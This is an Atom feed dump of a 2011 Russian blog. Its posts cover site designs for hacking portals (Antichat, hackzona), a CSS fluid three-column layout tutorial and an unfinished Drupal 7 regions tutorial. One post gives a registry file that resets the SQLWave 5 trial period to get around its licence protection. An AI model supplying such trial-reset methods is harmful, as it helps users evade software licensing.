style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-InlG6ih4dDM/ToSX9nl7zxI/AAAAAAAAAWM/mM5nlGlY8YY/s1600/sshot-3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="180" src="http://4.bp.blogspot.com/-InlG6ih4dDM/ToSX9nl7zxI/AAAAAAAAAWM/mM5nlGlY8YY/s320/sshot-3.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;В общем пока рисовал дизайн и придумывал интерфейс в голове возниклиразличные идеи связанные с концепцией сайта, например можно заметить под каждымопубликованным видео непонятные кнопочки (A, H, In, ][), это что-то вродеальтернативы социальным кнопкам, только связаны они с другими хакерскимипорталами (хакзона, иннатак, хакер) и одновременно определяют первоисточникролика. Это поможет избежать просматривания одних и тех же видео опубликованныхна разных порталах. И вообще я бы предложил авторам проекта не ограничиватьсявидео-взломами только с ачата, а сделать один портал на всю российскуюхаксцену. Если уж начинаете свой проект, то зачем мелочится? Как я понял изописания, то все видео-ролики будут храниться на ютубе, лучше уж все это делоорганизовать на своих серверах, а то смысла в начинании мало (правда, тут нужныбольшие капитала вложения).&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-4ivnLX2CF8c/ToSYPlYs5RI/AAAAAAAAAWQ/2P-dRdl2Py8/s1600/antichat.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-4ivnLX2CF8c/ToSYPlYs5RI/AAAAAAAAAWQ/2P-dRdl2Py8/s320/antichat.jpg" width="207" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-607611046978890294?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/607611046978890294/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/09/blog-post_29.html#comment-form' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/607611046978890294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/607611046978890294'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/09/blog-post_29.html' title='Дизайн для видео-античата'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-InlG6ih4dDM/ToSX9nl7zxI/AAAAAAAAAWM/mM5nlGlY8YY/s72-c/sshot-3.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-968971143969193918</id><published>2011-09-10T14:00:00.000+04:00</published><updated>2011-10-10T14:18:49.395+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Дизайн'/><title type='text'>Дизайн хакзоны</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Не так давно, точнее довольно таки давно, было запланировано полностью переделать портал hackzona.ru. За работу взялись лишь два энтузиаста. Мне нужно было придумать свежий дизайн, в то время, как mbr занимался непосредственно кодом движка проекта. И вот после кропотливой работы готов первый вариант дизайна главной страницы.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-aniZOmxnXJ4/TmsyBWQuqbI/AAAAAAAAAVM/jA1C8aU-VwY/s1600/sshot-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" src="http://4.bp.blogspot.com/-aniZOmxnXJ4/TmsyBWQuqbI/AAAAAAAAAVM/jA1C8aU-VwY/s320/sshot-1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Вообще графический интерфейс был спроектирован довольно быстро, -&amp;nbsp; часто не было времени им заняться. Все иконки, кроме трех (Новости, Видео, Вопросы) авторские. Даже старые хакзоновские значки перерисованы.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-5FocvcHu1iw/Tmszavad7YI/AAAAAAAAAVQ/pzj6EILtXBE/s1600/hackzona.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-5FocvcHu1iw/Tmszavad7YI/AAAAAAAAAVQ/pzj6EILtXBE/s320/hackzona.jpg" width="266" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Жду ваших комментариев, по поводу улучшения дизайна, ведь это только первый вариант. Что не нравится, что нравится, что переделать и т.п. Как только будет готов окончательный вариант интерфейса главной страницы, начну рисовать дочерние.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-968971143969193918?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/968971143969193918/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/09/blog-post.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/968971143969193918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/968971143969193918'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/09/blog-post.html' title='Дизайн хакзоны'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-aniZOmxnXJ4/TmsyBWQuqbI/AAAAAAAAAVM/jA1C8aU-VwY/s72-c/sshot-1.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-6389525401168539591</id><published>2011-08-19T18:12:00.002+04:00</published><updated>2011-08-19T18:24:27.222+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web скитания'/><title type='text'>Верстаем резиновый трех колоночный макет</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-2XDLo9hR9cY/Tk5u41eROcI/AAAAAAAAAU8/UR3YKmTMVNc/s1600/sshot-5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" src="http://1.bp.blogspot.com/-2XDLo9hR9cY/Tk5u41eROcI/AAAAAAAAAU8/UR3YKmTMVNc/s320/sshot-5.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Одним из наиболее распространенных макетов верстки является, трех колоночный резиновый шаблон, в котором каждая из трех колонок может растягиваться в зависимости от разрешения монитора. Или, как вариация две боковые колонки фиксированной ширины, а центральная, с контентом – резиновая или же, что более экзотично, центральная колонка фиксирована, а боковые растягиваются в зависимости от разрешения и размера экрана пользователя сайта.&lt;br /&gt;Если говорить о табличной верстке, то там все прозрачно, если о верстке слоями, то там тоже не все так сложно, как может показаться сначала. Первая особенность при верстке такого макета, это последовательность слоев. Изначально может показаться, что она должна быть следующей:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Левая колонка&lt;/li&gt;&lt;li&gt; Центральный блок&lt;/li&gt;&lt;li&gt; Правая колонка&lt;/li&gt;&lt;/ul&gt;Но это не так, правильная последовательность такая:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Левая колонка&lt;/li&gt;&lt;li&gt; Правая колонка&lt;/li&gt;&lt;li&gt; Центральный блок&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Если расположить элементы, как в первом варианте, то правая колонка будет постоянно «уезжать» вниз, или в некоторых случаях вниз будет «сползать» центральный блок.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: html"&gt;&lt;div id="sidebar-left"&gt;Левое меню  &lt;br /&gt;&lt;/div&gt;&lt;div id="sidebar-right"&gt;Правое меню &lt;br /&gt;&lt;/div&gt;&lt;div id="content"&gt;Блок с контентом&lt;br /&gt;&lt;/div&gt;&lt;/pre&gt;&lt;br /&gt;Теперь дело стоит за css:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: css"&gt;#sidebar-left { /* Левая колонка */&lt;br /&gt;    float: left; /* Обтекание справа */&lt;br /&gt;    border: 1px solid #333; /* Рамка вокруг */&lt;br /&gt;    width: 10%; /* Ширина колонки */&lt;br /&gt;    padding: 5px; /* Поля вокруг текста */&lt;br /&gt;    margin: 10px 20px 20px 5px; /* Значения отступов */&lt;br /&gt;    min-width: 200px; /* Устанавливаем минимальную ширину */&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;    #sidebar-right { /* Правая колонка */&lt;br /&gt;    float: right; /* Обтекание слева */&lt;br /&gt;    border: 1px solid #333; /* Рамка вокруг */&lt;br /&gt;    width: 10%; /* Ширина колонки */&lt;br /&gt;    padding: 5px; /* Поля вокруг текста */&lt;br /&gt;    margin: 10px 10px 20px 20px; /* Значения отступов */&lt;br /&gt;    min-width: 200px;/* Устанавливаем минимальную ширину */&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;   #content { /* центральный блок (контент) */&lt;br /&gt;	overflow: hidden; /* Отображается только область внутри элемента*/&lt;br /&gt;   }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Правой и левой колонке устанавливаем ширину в 10%, а также минимальную ширину (на очень-очень маленьких мониторах или при большом увеличении, содержимое блока может не вместиться и вылезти за границы, поэтому подстраховываемся на всякий случай), и соответственно, выравниваем по правому и левому краю с помощью float. Ширину центрального блока не трогаем, так как она по умолчанию равна auto, это как раз то, что нужно. Свойство overflow управляет отображением элемента, hidden говорит браузеру, что отображать нужно область только внутри блока, если она не вмещается, то скрывать. Если этого не сделать, блок растянется на всю ширину экрана. Многие, как альтернативу или просто не зная, используют конструкцию типа: &lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: css"&gt;#content { /* центральный блок (контент) */&lt;br /&gt;	 margin-left: 15%;&lt;br /&gt;         margin-right: 15%;&lt;br /&gt;   }&lt;br /&gt;&lt;/pre&gt;Изначально я тоже ее применял, но оказалось, что браузер google chrome, не совсем верно отображал эту конструкцию, да и min-width, для колонок толком использовать нельзя. Если добавить к ней overflow, то все становится нормально, но браузер от google все равно отображает неправильно. Таким образом, я пришел к простому overflow: hidden, избавившись от лишних нагромождений.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-9c9X76tOe6U/Tk5rB8DaiTI/AAAAAAAAAU0/2sATv7ZaRpY/s1600/sshot-5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" src="http://2.bp.blogspot.com/-9c9X76tOe6U/Tk5rB8DaiTI/AAAAAAAAAU0/2sATv7ZaRpY/s320/sshot-5.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Для того чтобы сделать макет с фиксированными правой и левой колонкой, достаточно свойству width присвоить не процентное, а статическое (пиксельное) значение. Ниже я привел код подобного макета (три резиновые колонки) в качестве цельной html страницы с контентом и всем необходимым:&lt;br /&gt;&lt;pre class="brush: css"&gt;&lt;title&gt;Трехколоночный резиновый макет&lt;/title&gt;&lt;br /&gt;  &lt;style type="text/css"&gt;&lt;br /&gt;   body {&lt;br /&gt;    font: 12pt Arial, Helvetica, sans-serif; /* Рубленый шрифт текста */&lt;br /&gt;    margin: 0; /* Отступы на странице */&lt;br /&gt;   }&lt;br /&gt;   a{&lt;br /&gt;   color: #994238; /* Цвет текста */&lt;br /&gt;   }&lt;br /&gt;   h1 {&lt;br /&gt;    font-size: 36px; /* Размер шрифта */&lt;br /&gt;    margin: 0; /* Убираем отступы */&lt;br /&gt;    color: #fff; /* Цвет текста */&lt;br /&gt;   }&lt;br /&gt;   h2 {&lt;br /&gt;    margin-top: 0; /* Убираем отступ сверху */&lt;br /&gt;	color: #994238; /* Цвет заголовка */&lt;br /&gt;   }&lt;br /&gt;   #header { /* Верхний блок */&lt;br /&gt;    background: #333; /* Цвет фона */&lt;br /&gt;    padding: 10px; /* Поля вокруг текста */&lt;br /&gt;   }&lt;br /&gt;   #sidebar-left { /* Левая колонка */&lt;br /&gt;    float: left; /* Обтекание справа */&lt;br /&gt;    border: 1px solid #333; /* Параметры рамки вокруг */&lt;br /&gt;    width: 10%; /* Ширина колонки */&lt;br /&gt;    padding: 5px; /* Поля вокруг текста */&lt;br /&gt;    margin: 10px 20px 20px 5px; /* Значения отступов */&lt;br /&gt;	min-width: 200px; /* Устанавливаем минимальную ширину */&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;    #sidebar-right { /* Правая колонка */&lt;br /&gt;    float: right; /* Обтекание слева */&lt;br /&gt;    border: 1px solid #333; /* Параметры рамки вокруг */&lt;br /&gt;    width: 10%; /* Ширина колонки */&lt;br /&gt;    padding: 5px; /* Поля вокруг текста */&lt;br /&gt;    margin: 10px 10px 20px 20px; /* Значения отступов */&lt;br /&gt;	min-width: 200px;/* Устанавливаем минимальную ширину */&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;   #content { /* центральный блок (контент) */&lt;br /&gt;	overflow: hidden; /* Отображается только область внутри элемента*/&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;   .content{&lt;br /&gt;   border:1px solid #000;&lt;br /&gt;   margin-top:10px;&lt;br /&gt;   margin-bottom:10px;&lt;br /&gt;   padding: 10px;&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;  &lt;br /&gt;&lt;/style&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;  &lt;div id="header"&gt;&lt;h1&gt;Трехколоночный резиновый макет&lt;/h1&gt;&lt;/div&gt;&lt;div id="sidebar-left"&gt;&lt;a href="http://kerny.ru/"&gt;Commodore Chessmate&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Роба́стное управле́ние&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Адаптивное управление&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Оптимальное управление&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Плановое управление &lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Гомеостат&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Открытая система&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Cамоорганизующаяся система&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Задача оптимального управления&lt;/a&gt;&lt;/div&gt;&lt;div id="sidebar-right"&gt;&lt;a href="http://kerny.ru/"&gt;Л.С. Понтрягин&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;В.Г. Болтянский&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Р.В. Гамкрелидзе&lt;/a&gt;&lt;br /&gt;&lt;a href="http://kerny.ru/"&gt;Е.Ф. Мищенко&lt;/a&gt;&lt;/div&gt;&lt;div id="content"&gt;&lt;div class="content"&gt;&lt;h2&gt;Commodore Chessmate  &lt;/h2&gt;Commodore Chessmate — один из первых шахматных компьютеров, выпущенный компанией Commodore в июне 1978 года в США, Англии и Германии.&lt;br /&gt;				Впервые был представлен на CES 1978 года в Чикаго.Commodore Chessmate является одним из первых шахматных компьютеров, поступивших в массовую &lt;br /&gt;				продажу. Самая первая подобная машина — Fidelity Chess Challenger 10, выпущенная компанией Fidelity Electronics, — появилась на прилавках всего годом&lt;br /&gt;				ранее — весной 1977 года.Chessmate базируется на одноплатном компьютере KIM-1, произведённом также компанией Commodore. В нём используется&lt;br /&gt;				программа Microchess 1.5, написанная 18 декабря 1976 года программистом Питером Дженнигсом (англ. Peter Jennings) для компьютеров KIM-1. Позже на&lt;br /&gt;				основе этой программы были выпущены другие шахматные компьютеры — Novag Chess Champion MK II в 1979 году и TEC Schachcomputer в 1981 году. Особым&lt;br /&gt;				успехом компьютер не пользовался, поэтому уже в 1980 году Commodore остановила выпуск Chessmate.&lt;/div&gt;&lt;div class="content"&gt;&lt;h2&gt;Роба́стное управле́ние &lt;/h2&gt;Роба́стное управле́ние — совокупность методов теории управления, целью которых является синтез такого регулятора, который обеспечивал бы хорошее &lt;br /&gt;				качество управления (к примеру, запасы устойчивости), если объект управления отличается от расчётного или его математическая модель неизвестна.&lt;br /&gt;				Таким образом, робастность означает малое изменение выхода замкнутой системы управления при малом изменении параметров объекта управления.&lt;/div&gt;&lt;div class="content"&gt;&lt;h2&gt;Адаптивное управление &lt;/h2&gt;Адаптивное управление — совокупность методов теории управления, позволяющих синтезировать системы управления, которые имеют возможность&lt;br /&gt;				изменять параметры регулятора или структуру регулятора в зависимости от изменения параметров объекта управления или внешних возмущений&lt;br /&gt;				, действующих на объект управления. Подобные системы управления называются адаптивными. Адаптивное управление широко используется во многих&lt;br /&gt;				приложениях теории управления.&lt;/div&gt;&lt;div class="content"&gt;&lt;h2&gt;Оптимальное управление &lt;/h2&gt;Оптимальное управление — это задача проектирования системы, обеспечивающей для заданного объекта управления или процесса закон управления&lt;br /&gt;				или управляющую последовательность воздействий, обеспечивающих максимум или минимум заданной совокупности критериев качества системы .&lt;br /&gt;				Для решения задачи оптимального управления строится математическая модель управляемого объекта или процесса, описывающая его поведение с течением времени&lt;br /&gt;				под влиянием управляющих воздействий и собственного текущего состояния. Математическая модель для задачи оптимального управления включает в себя:&lt;br /&gt;				формулировку цели управления, выраженную через критерий качества управления; определение дифференциальных или разностных уравнений,&lt;br /&gt;				описывающих возможные способы движения объекта управления; определение ограничений на используемые ресурсы в виде уравнений или неравенств.&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;div style="text-align: right;"&gt;&lt;i&gt;by Kerny&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-6389525401168539591?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/6389525401168539591/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/08/blog-post.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6389525401168539591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6389525401168539591'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/08/blog-post.html' title='Верстаем резиновый трех колоночный макет'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-2XDLo9hR9cY/Tk5u41eROcI/AAAAAAAAAU8/UR3YKmTMVNc/s72-c/sshot-5.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-7209138946416781003</id><published>2011-08-17T19:37:00.001+04:00</published><updated>2011-08-17T19:39:03.871+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Взлом'/><title type='text'>Продлеваем триальный период в SQLWave 5</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-DD1JwtkPHG0/TkvdQQWPc4I/AAAAAAAAAUI/xiHxS1tWa8I/s1600/sshot-4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" src="http://2.bp.blogspot.com/-DD1JwtkPHG0/TkvdQQWPc4I/AAAAAAAAAUI/xiHxS1tWa8I/s320/sshot-4.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Привет, что-то я давно не писал в блог.&lt;br /&gt;Сегодня я расскажу, как можно продлить триальный период в программе SQLWave 5. Программа очень полезная, а у&amp;nbsp; меня возникла острая необходимость ей воспользоваться, как раз в тот момент, когда закончился период демо использования. Других подходящих инструментов под рукой не нашлось. Разработчики программы применили довольно тривиальную защиту (как и большинство) свои триальные ключи SQLWave хранит в реестре Windows, но как обычный человек я не поступил (обыкновенный поиск по всему реестру Виндовс), а зачем-то полез в Дебагер и стал искать их в памяти программы и, разумеется, успешно нашел. Достаточно сохранить ниже следующий код в *.reg файле и экспортировать его в реестр.&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: #444444;"&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;br /&gt;[HKEY_CURRENT_USER\Software\Nerocode\SQLWave 5\Register]&lt;br /&gt;"TrialStart"=hex:&lt;br /&gt;"TrialPeriod"=hex:&lt;br /&gt;"Key"=""&lt;/blockquote&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-7209138946416781003?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/7209138946416781003/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/08/sqlwave-5.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7209138946416781003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7209138946416781003'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/08/sqlwave-5.html' title='Продлеваем триальный период в SQLWave 5'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-DD1JwtkPHG0/TkvdQQWPc4I/AAAAAAAAAUI/xiHxS1tWa8I/s72-c/sshot-4.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-3907615806353840625</id><published>2011-06-20T21:39:00.008+04:00</published><updated>2011-06-20T22:03:48.151+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web скитания'/><title type='text'>Создание регионов в Drupal 7</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Для того чтобы создать новый регион в&amp;nbsp;drupal 7, нужно определить имя региона в файле &lt;span class="Apple-style-span" style="color: #444444;"&gt;&lt;i&gt;*.info&lt;/i&gt;&lt;/span&gt; он всегда хранится в папке с темой (&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;site.ru\sites\all\themes\name_themes\&lt;/span&gt;&lt;/i&gt;). Предположим, что нам нужно создать регион с именем&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt; left&lt;/span&gt;&lt;/i&gt; и располагаться он должен между регионами с именами &lt;span class="Apple-style-span" style="color: #444444;"&gt;&lt;i&gt;header&lt;/i&gt;&lt;/span&gt; и &lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;region1&lt;/span&gt;&lt;/i&gt; соответственно. Внесем в файл &lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;name_themes&lt;/span&gt;&lt;/i&gt; следующие изменения:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;name = name_themes&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;description = Theme for drupal 7&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;version = VERSION&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;core = 7.x&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;engine = phptemplate&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;regions[header] = Header&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;regions[left] = left&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;regions[region1] = region1&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;regions[region2] = region2&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;regions[region3] = region3&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;stylesheets[all][] = style.css&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;version = "7.0"project = "name_themes"&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;Мы добавили строчку&amp;nbsp;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;regions[left] = left&lt;/span&gt;&lt;/i&gt;, где первый&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt; left&lt;/span&gt;&lt;/i&gt; это имя переменной нового региона, а &lt;span class="Apple-style-span" style="color: #444444;"&gt;&lt;i&gt;left&lt;/i&gt;&lt;/span&gt; после знака равенства, его название. Оно будет отображаться в панели администратора. Кстати его можно написать и на русском, но тогда файл следует &amp;nbsp;сохранить в кодировке &lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;UTF-8&lt;/span&gt;&lt;/i&gt;. Далее открываем файл&amp;nbsp;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;page.tpl.php&lt;/span&gt;&lt;/i&gt;. И вставляем следующий код, между описанием региона&amp;nbsp;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;Header&lt;/span&gt;&lt;/i&gt; и региона&amp;nbsp;&lt;span class="Apple-style-span" style="color: #444444;"&gt;&lt;i&gt;region1&lt;/i&gt;&lt;/span&gt; (как правило их границы часто обозначаются&amp;nbsp;комментариями, мы тоже обозначим) :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-ot3zM2YjOVY/Tf-G_v65vII/AAAAAAAAASM/oN3mIY20oG8/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="117" src="http://4.bp.blogspot.com/-ot3zM2YjOVY/Tf-G_v65vII/AAAAAAAAASM/oN3mIY20oG8/s400/7.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;В принципе регион создан. Остается добавить его описание в &lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;css&lt;/span&gt;&lt;/i&gt; (что кстати необязательно), для этого мы используем тег &lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;div&lt;/span&gt;&lt;/i&gt;, в котором объявлен класс&lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt; left&lt;/span&gt;&lt;/i&gt;. Пишем в файл &lt;i&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;style.css&lt;/span&gt;&lt;/i&gt;:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: #990000;"&gt;&lt;span class="Apple-style-span" style="color: #990000;"&gt;&lt;span class="Apple-style-span" style="color: #990000;"&gt;&lt;span class="Apple-style-span" style="color: #990000;"&gt;&lt;span class="Apple-style-span" style="color: blue;"&gt;&lt;span class="Apple-style-span" style="color: #990000;"&gt;&lt;span class="Apple-style-span" style="color: #990000;"&gt;&lt;span class="Apple-style-span" style="color: 